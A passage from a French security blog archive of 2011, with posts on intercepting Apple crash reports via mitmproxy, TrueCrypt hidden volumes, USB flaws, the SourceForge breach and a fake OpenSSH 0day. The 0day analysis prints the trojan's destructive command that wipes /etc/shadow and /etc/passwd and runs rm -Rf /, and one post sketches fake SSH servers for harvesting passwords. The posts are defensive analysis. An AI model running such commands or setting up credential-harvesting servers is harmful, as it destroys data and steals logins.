Comme dit en introduction, ce challenge est vraiment riche en contenu et en rebondissements.. Aller attaquer un service en ligne, penser à retrouver de l'info sur pastebin, écrire un outil d'extraction de données, reverser des libs, creuser dans la doc mp4 pour lire les atom, etc.. tout ça à partir d'un simple fichier video, en fait un challenge très plaisant.

Thx 2 NR pour les échanges par mail.

Envoi du rapport de bug chez Apple: confidentiel ou pas?

2011-05-23T16:13:00.001+02:00

Si vous utilisez un Mac, vous avez déjà pu voir cette fenêtre:

Le bouton Rapport... envoie un rapport à apple, dont le contenu est présenté dans une seconde fenêtre:

On lit qu'aucune information personnelle n'est transmise. Est-ce le cas, et peut on avoir confiance dans cette déclaration d'intention? Petit exercice technique pour s'en assurer.

0/ Préalablement: obtenir une méthode provoquant un crash d'application :-)
Je sais comment crasher à volonté le serveur X de mac OS X.5 via une méthode parfaitement reproductible; c'est suffisant.

1/ Cassons du SSL dans la joie et la bonne humeur.
L'envoi des données se fait chez https://radarsubmissions.apple.com ; étant chiffré par SSL, il est difficile d'en connaître le contenu à l'aide d'un simple tcpdump.
Je dispose d'un outil appelé mitmproxy qui permet de répondre à ce genre de problèmes. Ce proxy sait "casser" le SSL en générant à la volée un certificat du nom du site distant consulté. Il suffit alors de se positionner sur le proxy pour connaître le contenu des échanges malgré le SSL [lire ce post de blog et celui-là pour plus d'infos sur la fiabilité de SSL].
Il est toutefois nécessaire d'importer dans MacOS la CA de mitmproxy afin qu'il truste les certificats générés sans aucun warning.

J'installe donc le certificat racine, puis crash X11, et consulte la page envoyée:
headers

content-length: 12064

proxy-connection: close

host: radarsubmissions.apple.com

user-agent: SubmitReport (unknown version) CFNetwork/438.16 Darwin/9.8.0 (i386) (iMac8%2C1)

connection: close

content-type: multipart/form-data; boundary=\"Apple-Multipart-Form-Message-327837225\"

timestamp: 1306144341.509594

method: POST

content: LS1BcHBsZS1NdWx0aXBhcnQtRm9ybS1NZXNzYWd(snip le base64..)

2/ décodage des données envoyées:
Le content est en base64. Ca se décode très facilement. Nous obtenons donc un Apple-Multipart-Form-Message:
--Apple-Multipart-Form-Message-327837225^M
Content-Disposition: form-data; name="url_from"^M
Content-Type: text/plain^M
^M
3D2666A2-BAF0-4C1F-B163-2ED70C4EE55F^M
--Apple-Multipart-Form-Message-327837225^M
Content-Disposition: form-data; name="os_version"^M
Content-Type: text/plain^M
^M
10.5.8:9L30^M
--Apple-Multipart-Form-Message-327837225^M
Content-Disposition: form-data; name="machine_config"^M
Content-Type: text/plain^M
^M
iMac8,1 (2048 MB)^M
--Apple-Multipart-Form-Message-327837225^M
Content-Disposition: form-data; name="crashreporter_key"^M
Content-Type: text/plain^M
^M

Ceci ce lit très bien puisqu'il s'agit de texte, sauf deux champs:
Content-Disposition: form-data; name="page_source"^M
Content-Type: text/plain^M
Content-Transfer-Encoding: deflate^M
Pour décoder ce champ, il existe pleins de solutions, j'ai fait au plus simple avec zpipe.c. Ce champ correspond à l'onglet "Détails du problème" du rapport de problème.

Le second champ:

Content-Disposition: form-data; name="system_profile"^M

Content-Type: text/plain^M

Content-Transfer-Encoding: base64^M

est de nouveau du base64 qui se décode aussi très bien; on constate que le contenu est celui de l'onglet "Configuration système" du rapport de problème. Une remarque amusée sur ce champ: La configuration système est un simple texte. Ce texte est wrappé en xml, puis en base64. L'embonpoint guette :-)

3/ Tout est honnête, alors?
Eh bien il faut avouer que le SSL n'est pas employé dans le but cacher quelque chose à l'utilisateur. Le contenu de ce qui est envoyé à apple n'est ni plus ni moins que ce qui est indiqué dans la fenêtre de "Rapport de problème".

Le seul point qui me gène reste cette notion d'"Anonymous UUID". La documentation chez Apple dit que l'identifiant unique permet d'identifier de manière unique une machine sans identifier son utilisateur.

La doc du Mac reste assez muette sur cet UUID. Le programme /usr/bin/uuidgen permet de générer des UUID sans qu'ils ne soient jamais identiques à celui-ci. Cet UUID reste étonnement stable dans le temps et au travers des reboots. Je suis curieux de savoir ou cet identifiant est utilisé et ce qu'il permet de corréler comme information. Je ne pense pas qu'il soit essentiel pour apple de différencier de manière certaine les machines émettrices des rapports de problèmes. Les détails et la configuration système devrait être suffisante.

RMLL 2011

2011-05-19T12:05:00.001+02:00

Je participe aux RMLL 2011 (Rencontres Mondiales du Logiciel Libre). Je vais présenter une conférence ayant pour sujet les certificats openssh.
L'abstract de la conférence est le suivant:
ssh est un protocole de communication chiffré permettant à deux machines de communiquer de manière à ce qu’un auditeur placé entre les deux extrémités ne puissent pas connaître les échanges. Les modes de connexion par mot de passe ou clé sont couramment utilisé mais comportent néanmoins des limites dès lors qu’il faut gérer des identités sur un très grand nombre de machines ou dans le temps.
Depuis la version 5.4, openssh propose une certification des clés RSA hôtes et utilisateurs. Cet article vise à démontrer les avantages de cette nouvelle méthode en précisant les apports, aussi bien sur les certificats machines que les certificats utilisateurs. En effet il suffit d’une autorité de certification pour centraliser la gestion de l’ensemble des droits sans devoir se connecter régulièrement sur chacune des machines dont l’administrateur à la charge lorsque des droits de connexion arrivent à expiration ou doivent être modifiés.

Le programme détaillé et les horaires devrait apparaître prochainement sur le site des RMLL.

Note: les certificats en question ne sont pas des certificats X.509. Cette conférence n'en parlera pas. Pour ceux qui veulent utiliser les certificats X.509 il faut utiliser les patchs de Roumen Petrov.

Google, Hadopi et neutralité des recherches?

2011-04-25T19:56:00.000+02:00

Il y a de ça quelques jours, le Doodle Google était celui de Charlie Chaplin.

Appréciant particulièrement le (très) vieux cinéma, c'est à dire d'avant guerre, j'ai apprécié le clin d'oeil. Ayant laissé en dehors de chez moi un DVD légalement acheté et souhaitant le revoir, j'ai eu l'idée de le télécharger. Tout le monde connaît le google hack consistant à demander à google des videos sur megaupload en utilisant le mot clé "site:". Mais les résultats de recherche sont étrangement vides:

Que des fichiers inférieurs à quelques Mo. Page2, idem. Page 3 et suivantes aussi. Clairement, aucune vidéos.

Une recherche sur bing, par contre:

Les résultats 1 4 5 et 6, semblent apparentés à des vidéos. Bing ferait il mieux que google?

J'ai vérifié également depuis un proxy chinois si les résultats étaient identiques (avec links, la liaison firefox étant trop lente):

Aucune vidéo non plus, à moins que ce proxy envoie les X-forwarded-for et que google le traque. Un internaute hors de france ou disposant d'un VPN pour confirmer, peut-être?

Je sais que google change de moteur de recherche et il me semble bien avoir lu que la HADOPI voulait que google les aide pour ne pas proposer de contenu illégal.

Néanmoins, cela pose une question. Alors qu'on entend beaucoup parler de la neutralité des réseaux, quelle voix est donnée à la neutralité du résultat des recherches?
Surtout qu'il ne s'agit pas de la première fois. A l'époque du scandale d'Abou Ghraib, j'avais été très surpris de la vacuité des réponses de google lorsque l'on tapait ces mots-clés. Les news bruissaient de photos sulfureuses, la presse papier s'en faisait l'écho, les blogs crépitaient, et sur google: rien, le vide, le néant, tipota. Depuis, les passions se sont calmées et on a du résultat, mais il est arrivé bien tard.

Aujourd'hui un autre trou noir semble s'ouvrir et google va empêcher de chercher et trouver des oeuvres tombées dans le domaine public; est-ce normal? Pourquoi ne pas faire un switch comme pour le contenu filtré ou non?

Why plausible deniability sucks, at last

2011-04-15T11:26:00.002+02:00

La cryptographie est le meilleur moyen de garantir la confidentialité des données. Depuis Kerckhoffs, nous savons que les algorithmes doivent être publics et que la sécurité du chiffre ne doit reposer que sur sa clé. Si cette clé est divulguée, alors les données sont révélées. Pour parer à la demande de divulgation de la clé, il est tentant de cacher le chiffré. Deux méthodes existent, la stéganographie, ou la plausible deniability. Le concept de plausible deniability a été popularisé par truecrypt bien qu'il soit généralisable à tout autre système de chiffrement moyennant conditions. Ce principe repose sur l'existence de deux clés permettant d'ouvrir le même fichier chiffré, chaque clé donnant accès à des documents différents. La force de la méthode, dont le nom dérive, s'appuye sur le fait qu'il est impossible à un attaquant de prouver qu'une seconde clé existe.

Cet article de blog va s'intéresser au fonctionnement de la plausible deniability et montrer qu'in fine, l'implémentation impose un usage très désagréable de la méthode. Tout d'abord sera expliqué comment la plausible deniability fonctionne, et comment deux clés peuvent ouvrir différemment le même fichier chiffré. Ensuite seront vus les détails d'implémentation afin d'éviter de dévoiler l'usage de la seconde clé. Enfin sera montré la faille de la méthode, et la manière inélégante de la contourner.

En préambule, quelques mots de vocabulaire (je reprends la terminologie de Truecrypt). Le container, ou container principal, est le fichier contenant les données. Ce fichier n'a pas d'en-tête spécifique, il est chiffré intégralement. Le premier container est généralement confondu avec le container principal. Les données du container principal ne sont accessibles que si l'on fournit la première clé. Tous les containers truecrypt contiennent un container principal. Container caché: ce terme définit le second container, caché dans le container principal. Un second mot de passe permet d'accéder à ses données.

1/Comment fonctionne la plausible deniability?/
Démarrons par quelques définitions avant de montrer comment la plausible deniability est mise en oeuvre: Un procédé de chiffrement moderne doit produire un résultat indiscernable d'un flux d'octet aléatoire. Un container doit être préalablement rempli de données aléatoires.
Et l'idée vient d'elle même: il est donc possible de faire cohabiter un second container s'il est suffisement loin du premier. Si on prend un livre blanc en exemple, il est possible d'écrire deux histoires, l'une démarrant page 0, et l'autre démarrant page 80. La connaissance de la page de démarrage permet d'accéder à l'une ou l'autre histoire. La plausible deniability fonctionne de la même manière, cf http://www.truecrypt.org/images/docs/hidden-volume.gif :

Cela fonctionne bien. Un attaquant ne pourra pas différencier les octets aléatoires de la fin du disque des octets chiffrés par le container caché. Quelques précautions d'usages sont nécessaires et découlent de la lecture de l'image ci-dessus. Le container caché sera toujours plus petit que le container principal. Le premier container ne devra pas contenir trop de données, en effet elles pourraient écraser les données du container caché. (Pour cette raison, truecrypt propose une protection du container caché lorsque l'on écrit dans le premier container; bien entendu, les deux mots de passes sont nécessaires :) ).

2/Quelles précautions d'usage?/
Quelques précautions s'imposent pour celui qui souhaiterait implémenter son système de plausible deniability. Nous allons en voir quatre.

2.1-Le procédé crypto
A partir du moment ou un attaquant est capable de différencier du chiffré de l'aléatoire, il sera capable de détecter l'existence du second container rendant la plausible deniability inefficace puisqu'il prouvera par la même l'existence de données non révélée par la fourniture du mot de passe du premier container.
Truecrypt utilise AES comme méthode de chiffrement qui est encore solide à l'heure actuelle. Et le jour ou quelqu'un sera capable de différencier un flux aléatoire d'un flux chiffré par AES, il suffira de changer de procédé de chiffrement.

2.2-Le filesystem
Dans le container, les données sont rangées à l'aide d'un filesystem. Certains filesystems ont des caractéritiques impropres à l'utilisation de la plausible deniability. Le filesystem par défaut de linux, extX, duplique de manière régulière des informations sur son emploi (superblock, tables d'inodes, etc..). Le container caché démarre à partir d'un certain seuil. Les données du container caché vont donc écraser les métadonnées du premier filesystem. Un attaquant peut donc vérifier l'état sain des métadonnées sur l'intégralité du container pour s'assurer qu'aucun container caché ne soit présent.

Truecrypt fait le choix d'imposer FAT comme filesystem du premier container lors de l'emploi de la plausible deniability. FAT est un filesystem très basique qui n'écrit des données qu'au début de son disque. Il n'y a donc pas de risques d'écrasement des métadonnées du premier filesystem par le container caché puisqu'il n'y en a pas.

2.3-Les sauvegardes
Un cas particulier se pose pour les sauvegardes. En effet, un attaquant peut alors étudier deux versions du container et regarder les blocs de données qui sont modifiés. La détection de changement de blocs permet de prouver facilement l'existence d'un container caché. En effet, les blocs chiffrés ne sont modifiés que si le clair change. Le container caché démarre à partir d'un certain seuil, ou offset. Les blocs modifiés par le container caché sont donc au delà de ce seuil, et bien au delà des données du premier container. Un attaquant peut dès lors prouver l'existence du container caché par différenciation. Pour reprendre l'exemple du livre, cela signifie qu'un attaquant sait qu'entre deux versions les pages 1 à 10 ont été modifiées, et les pages 80 à 85. Le mot de passe du premier container lui indique que les fichiers font bien la taille des 10 premières pages. D'où la question: d'où viennent les modifs des pages 80 à 85? Et de là, découle la révélation du container caché.

J'ai écrit un petit programme permettant de donner un aspect visuel à ces changements. Le principe en est le suivant: je XOR les octets de deux versions du container. Et je me sers du résultat pour en faire une image. Si les octets sont identiques, alors le résultat vaut 0 (et donc un pixel de couleur 000000: noir). Si les octets sont modifiés, alors un pixel est coloré. Ci-joint une image.

Le premier bandeau chiffré du haut correspond à la modification des données du premier container. Le second bandeau prouve l'existence du container chiffré: ces octets n'ont aucune autre raison d'être modifiés que par l'existence d'ajout de données dans le container caché. Cela correspond de plus à mon container. J'avais réservé les 2/3 de l'espace pour mon container caché. Il démarre donc comme attendu au premier tiers du container principale.

Truecrypt propose une solution pour éviter cela: il suffit de créer un nouveau container à chaque sauvegarde et dupliquer les données qu'il contient (cf: http://www.truecrypt.org/docs/how-to-back-up-securely).
Une autre solution serait de ne jamais faire de sauvegardes. Mais je ne pense pas que cela soit acceptable en raison du risque de pertes de données (on peut en effet penser que ces données sont importantes puisqu'elles nécessitent une protection accrue).

2.4-Les autres précautions
Il faut bien entendu lire également http://www.truecrypt.org/docs/?s=security-requirements-and-precautions qui évoque deux points principaux selon moi: la sécurité physique pour éviter la modification du logiciel Truecrypt (n'oubliez pas que 6 lignes de codes sont suffisantes pour trojaniser Truecrypt..) et la manière d'éviter la duplication des blocs chiffrés pour que la détection du volume caché soit réalisable comme indiqué au chapitre au dessus. Ces précautions sont relativement contraignantes, mais sont nécessaires même pour l'emploi "classique" de truecrypt (c'est à dire sans plausible deniability).

3/Mais alors tout va bien?/
Et bien non, tout ne va pas bien :-)
Le ver est dans le fruit et dans les méthodes citées au dessus. Il est à peu près possible d'employer la plausible deniability de manière fiable, en faisant particulièrement attention aux sauvegardes. Et c'est précisément là ou le bât blesse.
Prenons comme hypothèse une personne qui "backup securely" ses containers truecrypt pour éviter que l'on détecte ses containers cachés. Plaçons nous désormais comme attaquant face à cette personne et posons lui la question suivante:
"pourquoi avez vous choisi de générer un nouveau container de zéro pour chaque sauvegarde?".
Et comme la seule et unique raison de générer un nouveau container pour chaque sauvegarde est de pouvoir camoufler l'usage d'un container caché, la méthode se retourne contre son utilisateur: en voulant cacher l'usage de ses containers cachés, il en démontre précisément l'existence!

Aux échecs, cela s'appelle un zugzwang: c'est à vous de jouer et tous les coups sont mauvais. Si vous utilisez la plausible deniability; vous vous mettez dans une situation désagréable ou soit vous êtes
détectable, soit vous ne faites aucune sauvegarde...

Moralité de l'histoire: il n'y en a pas.

Vidéo du SSTIC bizarre autant qu'étrange.

2011-03-21T09:28:00.004+01:00

En 17s:

T+2s: "Poc"

T+4-6s: "Scratch scratch"

T+13s: "bruit indéfinissable" (démarreur grippé?)

Vous ne comprenez pas? Vous n'êtes sans doute pas les seuls, mais je suis sûr que certains trouveront :-)

Je ne parlerai pas du piratage du ministère des finances

2011-03-09T11:34:00.003+01:00

Sun Tzu, dans l'art de la guerre disait:
Connais ton ennemi et connais-toi toi-même; eussiez-vous cent guerres à soutenir, cent fois vous serez victorieux. Si tu ignores ton ennemi et que tu te connais toi-même, tes chances de perdre et de gagner seront égales. Si tu ignores à la fois ton ennemi et toi-même, tu ne compteras tes combats que par tes défaites.

Cette maxime est vraie en sécurité informatique, mais qui est l'ennemi et comment le connaître?
Il existe plusieurs études réalisées sur le sujet. J'en citerai deux, une américaine et une française, intéressante pour leur approche. Dans les deux cas, je ne parlerai que de la sécurité humaine. La sécurité informatique a une très forte composante "accidents naturels" (disque qui lache, haute disponibilité, résilience, onduleurs, etc..), mais je ne la considère pas dans ce post de blog. Seuls les facteurs "délibérés" seront exposés.

L'étude américaine recense 7 types d'attaquants.

Cyber criminel: Il s'agit de personnes professionnalisées, groupées, qui souhaitent uniquement faire de l'argent. (Identité bancaire, etc..)
Spammers et adware: Des personnes vendant du spam en gros.
Advanced Persistent Threat (APT): Groupes très organisés dont le but est le vol de propriété intellectuelle. Éventuellement, pour la vendre, cher, mais idéalement pour connaitre les idées d'une organisation et travaillent sur le long terme.
Espionnage: Le but est de voler une information particulière. Souvent de groupe réduit, et intéressés par des résultats rapides.
Hacktivisme: Le but est de modifier l'image d'une organisation vers un jour défavorable. (defacement de site webs, leaks d'informations..)
Cyber Guerrier: Exploitation informatique visant à détruire une capacité d'un pays adverse. (pensez à l'Estonie ou à Stuxnet). Lié à l'APT, ou à l'espionnage, mais la finalité fait penser à un but militaire.
Le pirate: Un de ces millions d'informaticiens qui veut simplement tester des trucs, ou prouver au monde qu'il est le plus fort, ou simplement jouer avec des amis.

La défense à apporter à chacun de ces risques va bien évidemment varier. Contre le pirate, il faut être à jour des patchs, utiliser des antivirus et lire ses logs. Pour l'APT, cela devient beaucoup plus compliqué puisqu'il faut prendre en compte qu'il a en main l'intégralité du réseau et qu'il peut même lire les documents internes expliquant la stratégie mise en oeuvre pour s'en protéger! Concernant la cyber guerre, dès que l'objectif visé est connu, la défense devient efficace (pour Stuxnet, patchez vos 4 trous de sécurité et interdisez les ports USB, et l'attaque est anéantie).

Les français ont publié un document (2006, un peu ancien) qui décrit les éléments menaçants; tout d'abord les types, et ensuite les raisons poussant un individu ou une organisation à attaquer.
Types:

Agresseurs: Hacker, qui est passionné et ne veut pas détruire (noté comme de moins en moins expérimenté) et Cracker, qui lui cherche à nuire.
Fraudeurs (trait de caractère français? ;)) le but est de gagner de l'argent d'une victime ou de réduire ses frais (falsification de facture Edf par exemple).
Employé malveillant: fraudeur interne, dont la motivation est soit vengeresse (absence de primes, non reconnaissance interne) soit pour des besoins matériels (détournements de fonds, de biens, chantage etc..)
Militants. Idéologues qui souhaitent faire passer un message par n'importe quel moyen
Espions. Guerre économique, patients, motivés, discrets, travaille à l'échelle étatique ou un concurrent
Terroristes. Les réseaux sont devenus des systèmes vitaux à l'échelle d'un état et les terroristes veulent une action spectaculaire, influente, destructrice, meurtrière.

Les motivations, sont elles, au nombre de 7:

Caractère stratégique: cette menace s'adresse au secret (d'état, de propriété intellectuelle, ou commercial) et aux capacités normales de fonctionnement (résilience). A l'échelle d'état, ou du concurrent.
Caractère idéologique: combat pour les idées. Curieusement, le rapport indique que les pirates ont un courant de pensée souhaitant qu'aucune information ne soit la propriété d'une personne d'un groupe ou d'un état.
Caractère politique: Le WhistleBlower américain. Le but est d'alerter les médias pour faire réagir sur un évènement.
Caractère terroriste: cherche à déstabiliser un ordre établi. Par action violente (destruction) ou détournée (modification de documents). En général le but est spectaculaire. Souvent doté de moyens financiers importants.
Caractère cupide: délinquance en col blanc :) qui se traduit de deux manières. Premièrement le gain (d'argent ou savoir-faire, brevet, etc..) pour l'attaquant. Deuxièmement, une perte pour la victime (crédibilité, fichier client, part de marchés, etc..).
Caractère ludique: la démocratisation de l'informatique a permis à certain d'en décoder le fonctionnement précis. Plus intéressé par le jeu et l'exploit, ils cherchent à montrer les failles du système plutôt que de les exploiter. Les victimes seront des organismes réputés pour leur inviolabilité ou leur haut niveau technique...
Caractère vengeur: souvent du fait d'un employé s'étant senti incompris. Ses actes ne sont pas corrélé avec les causes dans le temps.

On retrouve dans ces deux analyses des traits communs. L'étude française semble plus s'intéresser aux motivations et à l'humain, l'étude américaine aux risques. Dans les deux cas, il manque le cas ou c'est l'administrateur qui se retrouve malveillant (peut-être un sous-ensemble d'employé malveillant, ou l'employé est soit utilisateur, soit admin). Il manque aussi une définition des moyens et de l'expertise des attaquants, mais elle se lit assez bien en filigrane. Les moyens et expertise d'un hacktiviste voulant sauver les baleines à bosses (noble combat, ceci dit) ne seront bien évidemment pas ceux d'un groupe "Advanced Persistent Threat".

Maintenant que l'attaquant n'est plus ignoré, il reste à se connaître pour gagner 100 victoires.

Retour sur l'USB

2011-03-02T10:50:00.004+01:00

Je rebondis sur la remarque de Newsoft pour faire une petite rétrospective de l'USB et de ses failles. Tout d'abord, l'USB, c'est un protocole de communication présent aussi bien sur les ordinateurs que les smartphones, les consoles de jeux, etc.. Et les failles, elles, pleuvent intéressons nous tout d'abord à linux:

Commençons par une faille driver. La carte son USB caiaq sous linux. Le driver copie le nom du périphérique dans une structure de 80 caractères max avec un strcpy. Et paf l'overflow. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0712. Le correctif? Un strlcpy:
- strcpy(dev->pcm->name, dev->product_name);
+ strlcpy(dev->pcm->name, dev->product_name, sizeof(dev->pcm->name));
L'utilisation de strcpy est encore aujourd'hui une réalité..

Sur le périphérique le plus couramment utilisé, c'est à dire la clé USB en mass-storage, le tableau n'est pas plus propre (et je ne parle même pas d'autorun).
En effet, le montage d'un disque va lancer la détection de celui-ci, des partitions, des systèmes de fichiers, etc... Tout cela réalisé en bas niveau. Et que se passe t'il lorsqu'un attaquant branche une clé spécialement préparée?
Le noyau plante (à minima). La raison: "The kernel automatically evaluates partition tables of storage devices. Note that this happens independently of whether auto-mounting is enabled
or not". Il s'agit de tables de partitions Mac et LDM.
Si je prends le noyau debian, on observe qu'a peu près tous les systèmes de partitions sont disponibles, entre autre:
~/debian$ grep LDM_PARTITION boot/config-2.6.32-5-686
CONFIG_LDM_PARTITION=y
Donc si vous avez une debian, changez le noyau.

Et des failles liées à l'USB, on en trouve pleins d'autres dès qu'on cherche un peu. Je vais finir par coller les prises USB de mon laptop pour gagner en sécurité :-)

Enfin, on a encore une nouvelle norme, ThunderBolt qui est disponible sur les Macs. D'emblée en lisant wikipedia une partie sécurité prévient: "Since Thunderbolt extends the PCI Express bus, which is the main expansion bus in current systems, it allows very low-level access to the system. PCI devices need to have unlimited access to memory, and can thus compromise security. The same is true about other expansion bus standards such as PC Card, ExpressCard and FireWire. Also, compromised video display devices such as video projectors and monitors have thus become a security concern when connected to a Thunderbolt port."

On imagine du coup facilement les risques:
-"Monsieur le commercial, branchez donc votre machine sur notre rétro projecteur 'thunderbolt TM' afin qu'on puisse voir votre présentation (et qu'on en profite pour siphonner votre disque dur du même coup)"

This is not the SSH 0day you're looking for.

2011-02-16T10:36:00.007+01:00

On m'a fait suivre un 0day SSH disponible sur pastebin. Je vous propose d'expliquer la réaction de rageguy.
Ce 0day est un fake (inutile de vous précipiter sur pastebin). Plusieurs points devraient mettre la puce à l'oreille.

Les dates sont sensiblement cohérentes:
ssh est sorti en version 5.7 le 23 janvier et 5.8 le 4 février suite à un problème de sécurité. Le Oday est daté du 26 janvier sur pastebin. On reste dans le plausible. (Il manque néanmoins des advisories critiques, à mon avis un véritable 0day aurait pour conséquence une déferlante de communiqués, blogs, tweet, conférences, etc...)

A part ça, rien d'autre ne permet d'imaginer que l'on est tombé par hasard sur un 0day. (on trouve beaucoup de choses sur pastebin, mais tout de même.)

Tout d'abord, la faille en elle-même. La release 5.8 corrige un problème de sécurité lié à la génération des certificats. En effet, un peu de données non randomisées peuvent être inclues dans un certificat. Le 0day sur pastebin indique lui une faille "Off by One error in auth2-pubkey.c". C'est donc surprenant. Un véritable correctif de sécurité chez OpenSSH qui ne corrige pas un exploit public (peut-on encore parler de 0day d'ailleurs?).

Ensuite le code C de l'exploit ressemble à des exploits classiques, c'est à dire qu'on voit un shellcode, deux trois fonctions C, puis l'appel à ce shellcode. Mais ce code là est curieux:

Tout d'abord, le 0day veut être root. Surprenant une fois de plus. A lire l'exploit, il est inutile d'être root pour lancer une connexion vers un serveur ssh. Puis la ligne 51 vérifie le nombre d'arguments, affiche un FAIL et lance automatiquement le shellcode, ce qui est encore plus étonnant (pourquoi le lancer si le nombre d'arguments est incorrect?), et exit systématiquement en erreur ligne 56. Dit autrement, ce code ne lancera jamais la ligne 59 qui pourrait correspondre au lancement de l'exploit.

Intéressons nous à ce shellcode:
Un hexdump met un premier doute sur celui-ci:
On lit clairement que le shadow et le passwd sont écrasés, puis que l'intégralité du disque depuis la racine est supprimé. La les doutes sont confirmés, ce n'est sûrement plus un 0day, mais un fake. gdb va terminer de nous convaincre:
En bref, on appelle 0xb, on push sur la pile /bin/sh -c (632d c-, puis 68732f => hs/ etc..) et on appelle à shellcode+86. A shellcode+29:
(gdb) x/s shellcode+29
0x80497bd : "echo \"\" > /etc/shadow ; echo \"\" > /etc/passwd ; rm -Rf /"

Et à shellcode+86:
(gdb) disass shellcode+86 shellcode+92
Dump of assembler code from 0x80497f6 to 0x80497fc:
0x080497f6 : push edi
0x080497f7 : push ebx
0x080497f8 : mov ecx,esp
0x080497fa : int 0x80
End of assembler dump.
(gdb)

Et on exécute (appel système linux int80h). Arrivé à ce point, rageguy se met à crier FUUUUUU car ses fichiers disparaissent, j'espère que ses sauvegardes sont à jour :-)

En cherchant où cet exploit a pu être utilisé, j'ai lu http://testpurposes.net/2011/02/04/fake-0day-exploit-para-openssh/ qui explique en espagnol la même chose.

Ce genre de faux exploit n'a rien de nouveau, j'ai en mémoire un faux exploit rsync qui supprimait le homedir. Il était mieux caché (un XOR afin qu'un hexdump n'affiche pas ses intentions), mais le principe est identique: un faux exploit lancé sur une mailing liste, un shellcode et l'utilisateur trop pressé de le lancer en est pour ses frais. As always: Ne récupérez pas des programmes n'importe où, ne lancez pas n'importe quoi et faites des sauvegardes.

Sourceforge updates- ssh compromis

2011-02-02T09:02:00.005+01:00

Sourceforge a rendu disponible l'analyse de l'attaque qu'ils ont subi. Tout n'est pas encore fini, mais les grandes lignes ont été détaillées.
Il s'agit d'une attaque ciblée sur un des serveurs de leur infrastructure, ayant permis à un attaquant d'obtenir les droits root par élévation de privilèges. (Il n'est pas précisé si la porte d'entrée est celle des dragons ou non) L'attaque vient bien du service Web. Sourceforge est une plateforme ancienne de développement, le schéma de sécurité date d'une dizaine d'années (il est en train d'être revu) et à l'époque, il n'y a avait qu'une centaine d'utilisateurs, contre plusieurs millions aujourd'hui. Les données du problème ne sont bien évidemment plus les mêmes. Un hardening est en train d'être mis en place: "Because of this attack we’ll be accelerating the rollout of Secure Project Web services".

Dans les bons côtés, ils n'ont actuellement pas connaissance de modifications apportés aux sources des projets hébergés chez eux. L'attaquant a peut-être eu accès à une base de données de mot de passe utilisateurs, mais ceux-ci sont tous salés et hachés, rendant leur exploitation difficile.

Mais ils ont découvert un démon ssh modifié qui loggait les passwords des utilisateurs se connectant. Même s'ils sont relativement sûrs d'eux quant au fait que ce démon n'ait capturé aucun mot de passe, ils ont préféré réinitialiser l'ensemble des mots de passe (de plus, l'attaquant peut essayer un bruteforce des mots de passes salés/hachés récupérés).

Donc fin de l'histoire pour sourceforge, cette information est le "first round of analysis" et j'espère que nous aurons le second round. Il faut encore une fois apprécier la transparence de la plateforme qui n'essaye ni de cacher, ni de minimiser les faits, mais au contraire souhaite les expliquer le plus clairement possible.

Et ssh alors?

Parlons un peu de ssh. Il est mentionné que les attaquants ont utilisé un serveur ssh modifié pour qu'il logge les mots de passe. Cela peut paraître surprenant, mais ssh ne fait que suivre la RFC. SSH crée un canal de communication chiffré, et fait transiter dans ce canal chiffré le mot de passe en clair! RFC 4252, paragraphe 8:
8. Password Authentication Method: "password"
Note that the 'plaintext password' value is encoded in ISO-10646 UTF-8.
Ce qui est confirmé par
Note that even though the cleartext password is transmitted in the packet, the entire packet is encrypted by the transport layer.
Si on a une mentalité d'attaquant, on imagine immédiatement comment exploiter cette information: plaçons un faux serveur ssh et récoltons les couples login/password en clair! Bien entendu, un utilisateur pourrait être suspicieux s'il voit que la clé hôte a changé, mais la majorité des utilisateurs sont sous windows, et utilisent putty qui permet de se logger quand même en un clic malgré le changement de clé!
Dans le cas de sourceforge, la question ne se pose même pas puisque les attaquants ont pu récupérer la clé SSH hôte de la machine compromise.

Quelles contremesures?

Il n'est pas possible de protéger la clé hôte par un mot de passe, c'est par design une fois de plus.
Voir le man ssh-keygen:

host keys must have an empty passphrase

Ceci aurait du sens, pourtant: à chaque redémarrage de SSHD, il faudrait entrer la passphrase de la clé hôte, évitant ainsi l'utilisation d'une clé volée. On perd en automatisation de démarrage, mais on gagne un peu en sécurité.

Pour les utilisateurs, il peut sembler étonnant au premier abord d'envoyer en clair (dans le canal chiffré) le mot de passe. Un man in the middle permet donc de récupérer les credentials.
La première réflexion viendrait à conseiller un hash. Un MITM ne récupérerait donc que le hash. A première vue, c'est intéressant, mais le MITM pourrait ouvrir en parallèle une connexion vers le vrai serveur ssh et faire suivre les demandes et réponses. Le code du serveur du MITM devient donc un peu plus compliqué, mais pas impossible.
Comment alors protéger le serveur ou le client d'un MITM? Cette situation est elle donc insoluble?

Pour les cryptologues, non, il existe des solutions, ce sont les protocoles PAKE (Password-Authenticate Key Exchange (ou Key Agreement)). Un protocole PAKE comporte un échange de clé "classique" et n'a pas besoin d'être joué dans un tunnel pré-établi. Les caractéristiques sont assez "magiques" : à l'issue du protocole, le client et le serveur se sont authentifiés mutuellement, relativement à leur connaissance du mot de passe, et ont une clé secrète commune de forte entropie (qu'on peut utiliser pour chiffer symmétriquement la suite de la conversation). Néanmoins, un faux serveur ou un faux client n'apprend pas le mot de passe ni même un hash du mot de passe ou quoi que ce soit qui permette d'"essayer" des mots de passe.
Le premier est EKE ("Encrypted Key Exchange") décrit par Bellovin et Merritt en 1992 (un brevet est déposé). Le plus connu est SRP, publié par Wu en 1998. (Merci T.P. pour les infos!).
L'implémentation de SRP semble toutefois compliqué à implémenter pour un UNIX classique.

Et donc les login/mots de passe ssh continuent d'être envoyés "en clair"...

Mais alors, on peut faire des faux serveurs ssh facilement?

Et bien oui. Le plus connu est Kippo, que je conseille. C'est un serveur écrit en python servant de honeypot. Ce honeypot permet en plus de logger les mots de passe d'enregistrer les sessions ssh des attaquants. Certaines sessions d'apprentis pirates sont consternantes ou à mourir de rire, c'est selon :)
Kippo permet très facilement d'être détourné de son usage d'honeypot pour être utilisé comme logger. Il lui manque juste la partie connexion au serveur ssh légitime et forward de connexions. A priori Kippo ne le permet pas, mais cela m'étonnerait qu'aucun tool n'ait été codé réalisant ces actions.

En conclusion: Vérifiez toujours les clés hôtes et n'utilisez pas de mot de passe lorsque vous vous loggez en ssh, jamais. Toujours des clés de longueur suffisantes.

Sourceforge.net passwords reset - maintenant, vous pouvez vraiment hurler

2011-01-29T11:29:00.005+01:00

Après Fedora qui a connu un problème de sécurité dû à la compromission d'un mot de passe d'un administrateur mineur, Sourceforge fait parler de lui.

Sourceforge est une plateforme d'édition de source et de dépôt pour celles-ci. Cette plateforme s'est faite attaquer avec succès si l'on en croit les communiqués officiels:

